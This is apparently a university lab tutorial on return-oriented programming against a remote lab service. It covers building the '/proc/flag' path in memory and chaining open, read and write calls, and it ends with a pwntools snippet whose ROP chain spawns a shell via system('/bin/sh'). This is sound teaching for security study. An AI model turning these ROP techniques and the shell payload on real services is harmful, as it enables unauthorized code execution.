Tut07: ROP against Remote Service

In Tut06-2, we have exploited the x86_64, DEP-enabled binary without explicit leaks provided.

Step 0. Understanding the remote

In the second payload, we have invoked a sequence of calls to read the flag as follows:

(assume: symlinked anystring -> /proc/flag)

1) open("anystring", 0)
2) read(3, tmp, 1040)
3) write(1, tmp, 1040)

However, symbolic-linking to a file is not allowed in the remote setting which we don't have an access to. In other words, we can either find existing /proc/flag string in the memory, or construct it ourselves.

$ nc [LAB_SERVER_IP] 10711

[Task] Before you proceed further, make sure your exploit on Tut06-2 works against this remote service! Yet it should not print out the flag as it fails to open /proc/flag)

Step 1. Constructing /proc/flag

Unfortunately, it's unlikely that neither the binary, nor libc has the /proc/flag string. However, by ROP-ing, we can construct any string we want. Let's search a snippet of the string from the memory.

In a GDB session, try:

> search "/proc"
libc-2.27.so    0x7ffff7867a1d 0x65732f636f72702f ('/proc/se')
libc-2.27.so    0x7ffff78690ed 0x65732f636f72702f ('/proc/se')
...

> search "flag"
libc-2.27.so    0x7ffff77f29e3 insb   byte ptr [rdi], dx /* 'flags' */
libc-2.27.so    0x7ffff77f54ad insb   byte ptr [rdi], dx /* 'flags' */
...

Our plan is to memcpy() these two strings to a temporary, writable memory for concatenation.

    memcpy(tmp2, PTR_TO_PROC, len("/proc/"))
    memcpy(tmp2+len("/proc/"), PTR_TO_FLAG, len("flag"))

And your final payload would be:

1) open(tmp2, 0); // tmp2 now contains concatenated /proc/flag string
2) read(3, tmp, 1040);
3) write(1, tmp, 1040);

Perhaps, you can try prepending memcpy() calls, but you would realize that the challenge binary only accepts 256-byte user input.

[Task] Try to exploit the program once again; it is now a three-stage exploit:

  • use the leaked addresses to find the desired functions and memory
  • concatenate the /proc/flag string
  • open() + read() + write()

Can you successfully get the flag from the remote server?

Step 2. Injecting /proc/flag

In fact, there is a much easier method. As the program flow has been hijacked, we can directly inject our input (i.e., "/proc/flag") to an arbitrary memory region by simply invoking read().

    read(0, tmp2, 11);

[Task] Could you tweak your exploit to accept "/proc/flag" and save it to tmp2?

Note when feeding multiple inputs to the remote service, you may want to briefly pause the exploit in between by sleep(). Otherwise, the current payload could be read along with your earlier ones.

Another option to avoid the problem is to always send a full-sized input, which is as large as the read() size (i.e., 256-bytes in the start() of the binary), so that it forces read() to return before accepting your next input.

Tip. Using pwntools. You can also automate the ROP programming process. Take a look at the below sample, then you will have a good idea about how to utilize this.

from pwn import *

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc.address = LEAKED_LIBC_BASE_ADDRESS

rop = ROP(libc)
rop.system(next(libc.search('/bin/sh\x00')))
payload = "A" * 44 + str(rop)

If you are ambitious, you can fully automate the entire exploit process by using referenced symbols and ROP functionality.